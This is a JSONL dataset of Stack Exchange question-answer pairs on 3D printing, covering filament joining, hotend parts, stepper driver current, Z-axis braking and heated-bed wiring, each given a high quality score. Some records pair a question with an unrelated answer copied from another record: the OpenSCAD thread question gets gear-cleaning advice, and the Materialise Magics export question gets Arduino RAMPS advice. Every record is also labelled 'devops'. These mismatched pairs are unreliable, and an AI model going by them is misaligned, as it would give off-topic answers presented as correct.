{"id": "hf_2920a8cc6c6b", "question": "<p>Is it possible to connect two pieces of 1.75 mm filament end to end, with no change in width? I am asking the question because I am interested in creating a multi-filament feeder to a single extruder, and I am curious about the process of changing filament while the 3-d printer extruder continues uninterrupted. My current best-guess at the optimal solution is to someone 'cut' one end of the filament and 'melt' it to the end of another filament.</p>\n", "question_body": "", "answer": "You'd have to ensure that the joining portion of the two filaments do not \"bloom\" or increase in diameter, which would happen if unconstrained at the melting and joining time. Alignment is also critical, otherwise you have a varying diameter from one color to the next at the point of join.\nThere's an item on ebay which is precision drilled and has precision machined mating surfaces to ensure alignment of the filament. The filament is extended through the two components, heated (in the case of the video, with a match) and the two metal parts are pushed together. The joining of the metal parts also cuts away the excess bulge of the melted filament, ensuring correct diameter.\nIn the case of the above item, the joining devices have to be threaded with the filament prior to the joining process and then have to be threaded off the filament by pushing them the entire length of the filament.\nThis would be okay if one were joining short lengths only. Consider how much fun it isn't to have to slide these two pieces over an entire full spool of filament.\nA split device which would enable one to un-latch or otherwise open a clamshell to release the filament would require much more challenging machining to achieve the necessary precision, which is probably why we don't see such a product.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.402242"}
{"id": "hf_e38833cfd91d", "question": "<p>Is it possible to print toothbrush bristles using a common FDM 3D printer? I am particularly interested in the width of bristles, closeness together of each bristle, and the flexibility of each particular bristle.</p>\n", "question_body": "", "answer": "Actually last year a group did use a normal FDM printer to 3d print hair, brushed, etc. See the press release from Carnegie Mellon University\nhttps://www.engadget.com/2015/10/29/3d-printing-hair-is-as-easy-as-using-a-hot-glue-gun/\nhttp://technabob.com/blog/wp-content/uploads/2015/11/3d_printed_hair_by_Gierad_Laput_Xiang_Chen_Chris_Harrison_1.jpg\nThat said as far as I know you will not have access to this process, and is probably under a mountain of patents and other innovation killers.\nNow how to do this outside of fancy software.\nFor a FDM printer the smallest nozzle I ever got was 0.1mm, it jammed instantly. One could print rows at this precision.\nNow we have to move to something more advanced, such as DLP. Not the materials you want, but closer to the size you want. a formlabs can print at 25 microns. Which as a hair is 17 microns, you are \"close enough\" .. but a resin would be brittle and break. They do have other materials such as flexibles, but I am not familiar with them enough.\nAlso just going to mention. Tiny slivers of plastic is more likely to cut you than comb you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.427240"}
{"id": "hf_d2a2f1461f7a", "question": "<p>What are the differences, and pros &amp; cons, between 3D printers with varying layouts for moving head vs. moving build plate?</p>\n\n<p>Example layouts would include:</p>\n\n<ul>\n<li>X Head; YZ Bed;  </li>\n<li>XY Head; Z Bed;   </li>\n<li>XYZ Head;  </li>\n<li>etc.</li>\n</ul>\n\n<p>In particular, what are their respective strengths, weaknesses, specializations, maintenance considerations, etc.?</p>\n", "question_body": "", "answer": "Without going into too much detail, since this is a very exhaustive topic, I'll write some pro's of each down from the top of my head:\nCartesian XZ hotend, Y bed (eg. Prusa Mendel):\neasy to build (relatively)\neasy to maintain\neasy to modify\nunderstandable kinematics\nwith the right frame, no x-y-z orthogonality (90 degree angles) needs to be adjusted\naffordable\nbad for timelapse recordings\nprint quality will theoretically always be inferior at the same speeds and accelerations to kinematics that have less mass to move (heavy printbeds will lead to ghosting)\nz-wobble is only existent in this approach\nbig build-plates are no option for this design (last feasible size might be 20x30 cm)\nCartesian XY hotend, Z bed (core-XY, sparkcube, Ultimaker, Makerbot)\nless mass to be moved -> faster print speeds possible\nalmost no size limitaions\nconstruction is easy to enclose in most models due to the cubic frame\nlooks almost always professional\nenclosure can be hard to modify due to constraints in space\nXYZ hotend (Delta bots)\nmaster of circles\nless mass to be moved -> faster print speeds possible\nimpressive to watch\nmore load on the processing unit due to more complicated kinematics (32 bit needed for fast print speeds and responsive control with display)\nkinematics not easily understandable\nerror-cause search can be very complicated\nmore accurate in the center than on the outer limits due to the kinematic approach\nThe list is for sure not complete, and as a major disclaimer: print quality will always, with every approach, depend more on the setup and calibration of the printer than on the model. There are people around that produce great prints from an acrylic frame cartesian printer and lots of people that produce mediocre results with expensive printers in fancy designs.\nI will add some links to the list items when I find the time, for now you have to believe me. I am highly appreciating corrections and additions!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.465074"}
{"id": "hf_de93bc1b9b35", "question": "<p>I have a (HIC) version of the Prusa i3. I have recently installed the E3D v6 hotend and titan extruder. After fixing some other issues, I noticed that there is no filament being extruded. In addition, the gear looked like it was going in the wrong direction. How can I fix this?</p>\n", "question_body": "", "answer": "You can either flip the connector for the motor around (i.e. plug it in backwards) or (if you are using Marlin firmware) look for the following line in configuration.h:  (using the Arduino editor open the Marlin file For your 3D Printer,  one of the tabs is labelled \"configuration.h\" click on that tab to bring it to the front for editing.  use the Edit, Find and put E0 in the find box, click find.  When you find the line below\n```\n```\n#define INVERT_E0_DIR false\n```\n```\nchange\n```\nfalse\n```\nto\n```\ntrue\n```\n(or vice-versa). Note that if you go for the connector-flipping route, make sure that you only do this when the printer is turned off.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.490858"}
{"id": "hf_191094a8b2fc", "question": "<p>I am using Slic3r to generate the GCode for my Marlin-based printer. For some reason with increasing height my print starts to get messed up. On another part it starts to act like this when there are small parts. Is this related to my Slic3r settings, maybe to much filament being extruded or is this due to something else?</p>\n\n<p>Any help is highly appreciated and I can provide more pictures of messed up parts or slic3r config if necessary.</p>\n\n<p><a href=\"https://i.stack.imgur.com/jTyk1.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/jTyk1.jpg\" alt=\"The filament is completely messed up\"></a></p>\n\n<p><a href=\"https://i.stack.imgur.com/J4Thr.jpg\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/J4Thr.jpg\" alt=\"Another picture of the messed up print\"></a></p>\n", "question_body": "", "answer": "To me, this looks like a combination of bad filament, high temperature and/or fast speeds.\nToo high extrusion temperature will make difficult to let each layer cool enough before the next layer begins. This is why you see the poor results on the smaller areas of the print in your second photo.\nIf you're using bad filament (out of round, non-virgin, or poorly stored filament) you might see a series of over/under extrusion areas or smoke from moisture in the filament.\nSlowing down your feed rates can be tricky if your extrusion temps are too high. By slowing down, you're allowing layers to cool down a little bit more and solidify. If your previous layers are still relatively molten, you'll notice that the new layer of filament will adhere to it and potentially drag the previous layers as the nozzle continues to move. You'll see the results of this in the top-arc layers with an uneven curvature.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.521683"}
{"id": "hf_64d637e6fab2", "question": "<p>I'm using a CraftBot original to print PLA, but some of the filament has become stuck in the teeth of the <a href=\"https://craftunique.com/item/craftbot-extruder-gear\" rel=\"nofollow\">extruder gear</a> on its way into the hot end.  I'm having issues with the gear becoming stuck and \"clicking\" instead of turning, and I suspect it is because of the clogged teeth.  I haven't changed materials in a long time.  I've cleared several print head clogs, but each time the gear gets back around to the one spot, it seems to get stuck again.</p>\n\n<p>Are there any good ways to clean this gear?  I was thinking of putting it in a toaster oven and trying to melt the PLA off it, ideally without setting my house on fire in the process.  Anyone have better ideas?</p>\n", "question_body": "", "answer": "If you are able to remove the gear, as I suspect you can, a useful tool is the file card. It resembles a flat hair brush but the bristles are short wire, very stiff. In traditional use, it removes metal shavings from conventional metal files. It will easily remove plastic from between the gear teeth. If you are unable to remove the gear, but can access a portion of the exposed teeth, a suitably named dental pick can remove slowly the clogged material.\nCooking the gear may not cause a fire, but could carbonize the plastic onto the teeth, perhaps creating a greater problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.546593"}
{"id": "hf_308de0901a8d", "question": "<p>Is there any simple way of creating tappered thread in OpenSCAD? I need something like 10 mm in diameter at the end, 9 at the top and the height of 10 mm.</p>\n", "question_body": "", "answer": "If you are able to remove the gear, as I suspect you can, a useful tool is the file card. It resembles a flat hair brush but the bristles are short wire, very stiff. In traditional use, it removes metal shavings from conventional metal files. It will easily remove plastic from between the gear teeth. If you are unable to remove the gear, but can access a portion of the exposed teeth, a suitably named dental pick can remove slowly the clogged material.\nCooking the gear may not cause a fire, but could carbonize the plastic onto the teeth, perhaps creating a greater problem.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.570864"}
{"id": "hf_cbb0061631fd", "question": "<p>So I have a self build Mendel Reprap style 3d printer.</p>\n\n<p>I've not used it in sometime after moving house but I'm looking to use it again. What should I pay attention to before calibrating and running it again?</p>\n", "question_body": "", "answer": "PLA absorbs moisture, so keeping the filament dry is a key factor. Aside from that, PLA is naturally more brittle than other plastics like ABS and Nylon Sorry, tried to find a graph to prove it, but couldn't find one.\nThere's a good\nGoogle Group discussion\nand many other resources that go over good storage habits, but as for fixing the existing filament.\nTry the following:\nPlace PLA in an enclosure (plastic bin, Zip-loc bag, etc.)\nIf you have some, add some moisture absorber(s)\nPlace the tub in a warm environment (naturally or artificially) and make sure the area is dry as possible (not in the shed in the back, by the woods...). Possibly next to a heater vent or space heater in your house?\nEssentially, you're trying to treat the material. When the material goes through a heat treatment (aka the heat block in the extruder), the mechanical properties are beginning to change. The brittleness can be set by how quickly the material cools. I'm speculating that the moisture does any of the following:\nKeeps the filament from heating up to the desired extrusion temperature.\nBurns the filament.\nThe moisture is evaporated, leaving gaps in the extruded filament (under microscope).\nI looked into this a few years ago and have forgotten most of what I found out, but I'll keep looking and update my answer here.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.620893"}
{"id": "hf_64b86a28664e", "question": "<p>I search about that topic, but all what I found, was the mechanical part of the 3d printer. But I didn't find, how to program it using arduino.</p>\n\n<p>I want to make a cartesian 3d printer. I don't have a printer yet, but I will buy all the components that I need actually.</p>\n\n<p>I know, how to control stepper motors, but I don't know, how I can program it in order to make the shape that I want.</p>\n\n<p>This is my question: what I need to learn in order to let this 3d printer make this shapes?</p>\n", "question_body": "", "answer": "Yes. \nLook up Arduino Ramps 1.4\nhttp://reprap.org/wiki/RAMPS_1.4\nFollowing the programing is all done for you in the firmware. That said you can edit it. Just open the firmware files -- it is compiled when you upload them. Generally however one usually sticks to the preferences header alone..\nhttp://reprap.org/wiki/List_of_Firmware\nOver all you are trying to reinvent the wheel. When I started 5-6 years ago it was barely a thing. Now you buy a proven kit and get to the printing. That said if you are truly interested in designing check out.\nhttps://www.facebook.com/groups/cncbuilddesign/\nIf you want help on picking a kit. Or what I really think you are looking for. A good place to start. This is one of the larger 3d printing groups. Full disclosure I run this one, but at 6k members I don't recruit.\nhttps://www.facebook.com/groups/3DPrinterHobbyists/\nI got my start in reprap IRC\nhttp://reprap.org/wiki/IRC\nBe aware there are trolls that now camp the IRC looking to sell you a printer. I would not engage with them, their printers are usually overpriced and sub par.\nBest of luck.\nMost of all I think you need to know it's Reprap all the way. Reprap forums, Reprap printers, Reprap kits, Reprap community. All the commercial printers started off the reprap project. Even if you buy a makerbot (don't) it's Reprap in it's roots.\nhttps://vimeo.com/5202148", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.682248"}
{"id": "hf_399c20161f82", "question": "<p>I created a new project in Materialise Magics, added a few parts (different STLs), moved them around in certain positions and now I want to export this project into another STL, containing my recent work.</p>\n\n<p>The export menu seems to be all grey, like this function is not available. Do I have to do some repairing first or something similar? Or Magics needs other software in order to export a Magics Project to a STL file?</p>\n", "question_body": "", "answer": "Yes. \nLook up Arduino Ramps 1.4\nhttp://reprap.org/wiki/RAMPS_1.4\nFollowing the programing is all done for you in the firmware. That said you can edit it. Just open the firmware files -- it is compiled when you upload them. Generally however one usually sticks to the preferences header alone..\nhttp://reprap.org/wiki/List_of_Firmware\nOver all you are trying to reinvent the wheel. When I started 5-6 years ago it was barely a thing. Now you buy a proven kit and get to the printing. That said if you are truly interested in designing check out.\nhttps://www.facebook.com/groups/cncbuilddesign/\nIf you want help on picking a kit. Or what I really think you are looking for. A good place to start. This is one of the larger 3d printing groups. Full disclosure I run this one, but at 6k members I don't recruit.\nhttps://www.facebook.com/groups/3DPrinterHobbyists/\nI got my start in reprap IRC\nhttp://reprap.org/wiki/IRC\nBe aware there are trolls that now camp the IRC looking to sell you a printer. I would not engage with them, their printers are usually overpriced and sub par.\nBest of luck.\nMost of all I think you need to know it's Reprap all the way. Reprap forums, Reprap printers, Reprap kits, Reprap community. All the commercial printers started off the reprap project. Even if you buy a makerbot (don't) it's Reprap in it's roots.\nhttps://vimeo.com/5202148", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.708406"}
{"id": "hf_47d34fd57ced", "question": "<p>My Craftbot Plus Craftware slicer estimates cost per job based on filament prices I add as parameters.  What costs per meter would you use?  I created spreadsheets to calculate this for 1.75mm diameter filament and arrived at PLA = 6.6 cents per meter, ABS = 6.1 and PET XT = 18.6 cents per meter.</p>\n\n<p>Edit:  thanks for feedback!  I paid \\$22 per kilogram for PLA and ABS.  I paid \\$57 for .75 kilogram of Colorfab XT Black.</p>\n", "question_body": "", "answer": "The simplest method is to divide spool price by its length. That's obvious I think. If PLA 1.75 (1kg net) has about 120m length and it costs 16usd then it looks like 1m costs arount 13c. =price/length\nI think everyone can buy different filament at different price from different vendors so there is no good general price to enter into your slicer app. It has to be calculated each time you use new filament.\nThere are also other parts of the price. Electricity, time, wear, depreciation, know-how even the rent is some part of the ending price of the final product. Of course most of them are incalculable as they are permiles or so. But if you don't plan to sell it you can base on the filament price only.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.745503"}
{"id": "hf_dca2b8ad2fc6", "question": "<p>I've been looking into this, but:</p>\n\n<ol>\n<li>I'm not certain how to configure my multimeter; </li>\n<li>I don't know how to keep the voltage going, and;</li>\n<li>I don't know how to keep the multimeter connected to the VMOT?</li>\n</ol>\n\n<p>I'm told you're supposed to aim for about 1&nbsp;A.</p>\n", "question_body": "", "answer": "Generally speaking voltage on stepstick output should be around 1V.\nTo imagine more or less what the current and what the voltage is, you can think about it in the same way as about water.\nThe wire is more or less the same as the pipe.\nThe voltage can be imagined as (sort of) the height from which the water flows but the current can be imagined as an amount of water which flows. To simplify things we assume that all our pipes are closed into circuit and we have pump/battery and we have a motor which is a reverted pump ;) and finally we have our stepstick which is a tap in our model.\nSo no matter what the height (voltage) is we know that tap (stepstick) will pass some amount (current) of water. We can drive it turning tap or turning a potentiometer on the stepstick PCB.\nSo we got it. Principles (deadly simplified) are now clear.\nSee here for more details\nGetting back to your question. \nYou have to know what is your stepstick reference voltage. To make sure about that you have to check out resistor(s) next to main black element on stepstick board. There should be R100 or R200 which are very common.\nNow you should read data from motor label to know what is proper current for your motor and calculate\nvoltage = motor_current * 8 * resistance_of_resistor\nSo now you know what is proper voltage for your motor and stepstick.\nYou measure voltage between potentiometer and GND (see on the picture)\nIf you set and connect everything and start printouts you should check motor temperature. Use your finger. If you can touch motor and hold your finger not more than half a second then probably the voltage set on potentiometer is too high (motor can reach 80° Celsius and it's fine but more will shorten its life span) and you should reduce it a bit (reduce by 5/100 V). If you notice that motor growls or barks then your voltage is probably too low and you can increase it by 5/100V.\nToo high current will also reduce longevity of stepstick so cool them out with fan.\nPlease be noticed.\nZ-axis motors will usually be not too hot as they work less than X and Y but as they are both connected to one stepstick so they need more current - set higher voltage there.\nHere is a\nreprap.org site\nto get basic knowledge about stepsticks.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.829609"}
{"id": "hf_bbb87c45ccc7", "question": "<p>At the moment, I am thinking about print fans that cool the plastic when printing. I am not asking about the design of the fanducts, which might be a whole book on its own. I would like to know how to find out the best application of print cooling for a given PLA filament, - that is fan speeds and setup in a slicer of your choice (to learn what the different options are).</p>\n", "question_body": "", "answer": "I use side-wind to cool down model as simple as possible. It's just a 12cm in diam fan which is driven from arduino (the same contacts as the fan next to the nozzle). No duct, no other stuff. The only thing I consider in terms of making things better is to set up 2 fans which could coll down model from both sides.\nThe issue is that when model is more complex then cool air is not reaching out oll these crannies and then on some corners I see the difference. Because of this issue I have to orient model facing to the fan in the way which will decrease such effect and I'm usually happy with results. If you are able to imagine how the airflow behaves then you can achieve perfection :)\nOf course fan is driven but to be honest I usually use 100% of its blowing power except with first layer which I usually don't blow at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.866777"}
{"id": "hf_9da5b39e2244", "question": "<p>I am using a BAUDrate of 115200 since I cannot make a connection to my printer with the advised 250000 rate. Are there any downsides or limits I reach earlier given by the lower BAUDrate?</p>\n", "question_body": "", "answer": "Baud rate\nis the rate at which information is transferred in a communication channel, given as a number of bits per second (bps). So a baud rate of 250000 is capable of transferring a\nmaximum\nof 250000 bits per second (31250 bytes/s). When working with serial ports, both ends of the communication line will have to \"talk\" with the\nsame speed\n- the same baud rate - to understand each other.\nSo when using a baud rate of 11520 you will theoretically be limited to transfer data with about half the speed of 25000. If you are transferring large amounts of data, this might be a limiting factor for your application, but if you are not pushing the limits of your serial port, it probably won't matter at all.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.891301"}
{"id": "hf_1e6cda819cf5", "question": "<p>Because of the weight of my Z-axis and the relative ease of its motion, when the Z-axis motor is powered down the bed has a tendency to slip and fall down.</p>\n\n<p>Obviously leaving the motor powered solves this problem, but that is not ideal.</p>\n\n<p>I am looking for some kind of solution that passively stops the Z-axis motor from slipping; some kind of brake or clutch. Ideally I'm looking for something that I can add onto my current motors and that I could print myself. Commercial solutions (preferably ones that could be replicated with a 3D printer) would also make valid answers.</p>\n", "question_body": "", "answer": "The simple way to do this is to use a self-locking screw pitch. Pretty much any single-start thread using a sliding nut cannot be back-driven so the load will not fall. Normal 8x8 trapezoidal thread screws will easily back-drive because of the steep pitch.\nLikewise, a worm drive between the motor and Z stage will hold the load. You would want to switch from screws to belts for the main motion stage in that case though, to avoid having too much total gear reduction.\nBoth of these solutions will limit your maximum Z speed, of course. But they're simple and reliable. Clutches and brakes add a lot of complexity and must be actuated somehow. Designers who want the load to stay suspended almost always simply use single-start screws.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.927511"}
{"id": "hf_1baf529617f9", "question": "<p>My first and only 3D printer is a Printrbot Simple Metal, which has a hotend that doesn't expose any of its internal parts. Easy for beginners, I suppose: \"The hotend is that tube that heats up the plastic and deposits it on the print bed.\"</p>\n\n<p><a href=\"https://i.stack.imgur.com/7y1yy.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/7y1yy.jpg\" alt=\"Printrbot Simple Metal hotend\"></a> <a href=\"https://i.stack.imgur.com/SwwW1.jpg\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/SwwW1.jpg\" alt=\"More complex looking hotend\"></a></p>\n\n<p>But I've been trying to learn more, and many hotends out there don't look quite as simple. My Printrbot hotend probably isn't as simple as it looks, either.</p>\n\n<p>What are the parts that make up a hotend, and what do they do?</p>\n\n<p><em>(PS: This is a general question, not specifically about the two example hotends above.)</em></p>\n", "question_body": "", "answer": "picture on the left\nThis hotend is made out of\nPEEK plastics\n(beige). It can work in temperature upto 250C. As it is also good heat insulator then it doesn't need to have cooling fan. Red part on this picture is just a cover (insulator) of the heater which heatup nozzle (gold). Black are just wires and connectors.\npicture on the right\nThis hotend is metal so it needs two things - cooling fan and heat barrier. Beginning fron the left - red wires are connected to (silver) block which is heater itself. Between the block and this round silver part (which is a heatsink) there is heat barrier (thin pipe which is poor heat conductor). Heatsink has plastic funnel (blue) which directs an airflow from fan (black) through heatsink.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.951867"}
{"id": "hf_3436640fe19a", "question": "<p>My question is...\nIs there a SIMPLE/easy way to load TPU without tearing my printer apart to insert a hose that probably wont work anyways. It keeps curling up by the cog. I have read a few topics in other places but I didn't like the answers. Hoping you all might have a simple fix. </p>\n", "question_body": "", "answer": "Loading TPU/TPE can be particularly challenging because many printer loading scripts run too fast for the soft flexible filament to effectively purge whatever normal filament you were using before. A couple tips:\nLoad with a slightly higher temp than either the TPU or previous filament require, so as to minimize the melt viscosity and reduce the force required.\nMake a custom gcode file that contains a slower loading routine: wait for heat, then advance the extruder at a very slow rate for a long distance. Then you just \"print\" this gcode file whenever you need to load TPU.\nHowever, simply being able to load is not necessarily enough.\nNot all extruders can reliably print flexible filaments, period.\nThe larger the gap between the pinch wheel and inlet to the hot end, the more likely the filament is to buckle and come out the side. You need to make sure this gap is as short as possible. If there is more than a couple mm of gap, you'll need to make gap-filler or print yourself a new extruder designed for flexibles.\nPrinting slow and without major velocity changes can help, too. Use relatively low layer heights and low, constant feedrates so the extruder doesn't have to run fast or change pressure often.\nHarder flexible filaments will be easier to print if your setup is borderline. Ninjaflex is one of the hardest to print because it is relatively soft. Semi-flex type filaments are much easier to print if your hardware isn't set up optimally.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:46.989305"}
{"id": "hf_d6ea81856d15", "question": "<p>I am trying to 3D print an iPhone case, however, I want it to print standing up. Is this possible to do?</p>\n\n<p>I have a picture of the case in the link below.<a href=\"https://i.stack.imgur.com/dUYr0.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/dUYr0.png\" alt=\"iphone case\"></a></p>\n", "question_body": "", "answer": "Yes this is possible. For an FDM/FFF printer, you'll need to print with supports. I might also recommend printing in PLA to minimize the chance of warping during the print (from experience).\nIt might also help to slow down the feedrate to ensure smooth surface finish and avoiding delamination on such small layers.\nYou'll probably see a decrease in the surface quality on the inside due to the printing of support scaffolding depending on the slicing engine you use.\nHowever\nYou'll want to pay attention to the strength of the case. If you print the case upright then it will be more susceptible to breaking without post-processing.\nConclusion\nUltimately, if you can get away with it, it would be better to subtract the star instead of extruding it in the model. Then you can simply print the case back face down on the plate with much better results.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.014326"}
{"id": "hf_b1678d0c3625", "question": "<p>There was a contest to develop 3D printable files for the International Space Station's 3D printer.  The winner got a 3D printer ... runners up got Fluke DVOM's and all entrants got a t-shirt.</p>\n\n<p>ISS 3D Print Contest</p>\n\n<p>They offer 3 materials:  ABS, HDPE, and PEI+PC ... I'm not familiar with the last one. Anyone know?</p>\n\n<p>If found this material on Matweb: <a href=\"http://www.matweb.com/search/DataSheet.aspx?MatGUID=949ca0fa6b1742bea8e8d26ea2fd3d48t\" rel=\"nofollow noreferrer\">PEI+PC Alloy</a></p>\n\n<p>These links are thought to last a very long time.  I hope many of you decide to upload a project into contest site and compete for the grand prize ... A sweet John Fluke DVOM.  If nothing else a free awesome T-shirt.</p>\n", "question_body": "", "answer": "PEI - polyethermide is a \"common\" coating for heated print beds. PC is so many different things, but in this context, it's likely to mean polycarbonate plastic. From what I've read, it's challenging to print with and especially challenging to get a good bond on the build plate. One reference suggests to use a PEI coated bed with a slurry of ABS applied prior to printing. As with so many things 3d printer related, many people have many different methods. The above one appears to be well received as a successful method.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.051527"}
{"id": "hf_d28c9d1edf8d", "question": "<p>I have a prusa i3 and have been trying to calibrate it. I have been trying to upload the new steps per mm and I get to done uploading. However when I go into Repetier host and type M503 to get the printers settings it still shows the steps as 100 for the y axis, it needs to be 96.1810. I am using ramps 1.4 I think, with Adrunio mega 2560. If I am remembering this correctly isn't there something you have to do when uploading a new sketch like hold the rest button or something?</p>\n", "question_body": "", "answer": "See here\nfor why you\nshouldn't\ncalibrate your X/Y-steps. The value of 100 is probably better and will give more accurate prints overall than the value you came up with.\nWhen uploading new firmware you generally do not have to press any button. Pressing reset manually is only necessary when your upload method does not provide a reset pulse, but if you upload with USB this is not necessary.\nWhat is probably causing your problem is that the E-steps are stored in EEPROM, and uploading new firmware does not override the EEPROM settings.\nYou should run a\n```\nM502\n```\nto restore the default settings from the firmware you uploaded, then\n```\nM500\n```\nto save them to the EEPROM.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.076797"}
{"id": "hf_43cba01da3a3", "question": "<p>I was <a href=\"https://3dprinting.stackexchange.com/questions/1536/what-does-uses-mains-voltage-mean-on-this-200200mm-square-silicone-heater-pad\">advised</a> that it would be possible to use an AC SSR to wire up a Mains Based heat bed.  Any idea how one would do this with a RAMPs 1.4 board; Also, what do I hook a heated bed of this sort into?</p>\n", "question_body": "", "answer": "A link to the bed you have/are buying would be very helpful. AC heated beds exist but are fairly uncommon.\nAs\none of the answers\nin the question you linked notes, the heat bed is probably not actually intended to use the 110 VAC/220 VAC directly from the wall and instead needs either 12 VDC or 24 VDC.\nIf the current it needs is less than 11 A, then it can be connected directly to port D8 on the RAMPS 1.4, where it will take power from a suitably powerful 12/24 VDC supply connected to the 11 A input on the board.\nA more powerful heater will need an external relay/MOSFET/etc. to control.\nIf you do, in fact, have an AC bed, you can connect a SSR like\nthis\nto either D8 or D9 on the RAMPS (D10 could be used, but it would need a supply connected to the 11 A input) making sure the polarity is correct, as long as your RAMPS DC supply voltage is within the input range of the SSR.\nThe linked one is 3–32 VDC, so almost any supply voltage compatible with the RAMPS will work.\nThe AC outputs of the SSR should be connected in series between one side of the bed and the AC hot wire, with the AC neutral wire connected to the other side of the bed so most of the circuit isn't carrying high voltage when off.\nThis\nvideo has some useful hints.\nHowever, while an AC bed can get you faster heating, will let you use thinner wires, and avoids the need for having a big DC power supply, I would recommend against using a mains voltage bed if you don't know what you're doing—a great deal more care must be taken and there is a serious possibility of injury.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:47.128100"}
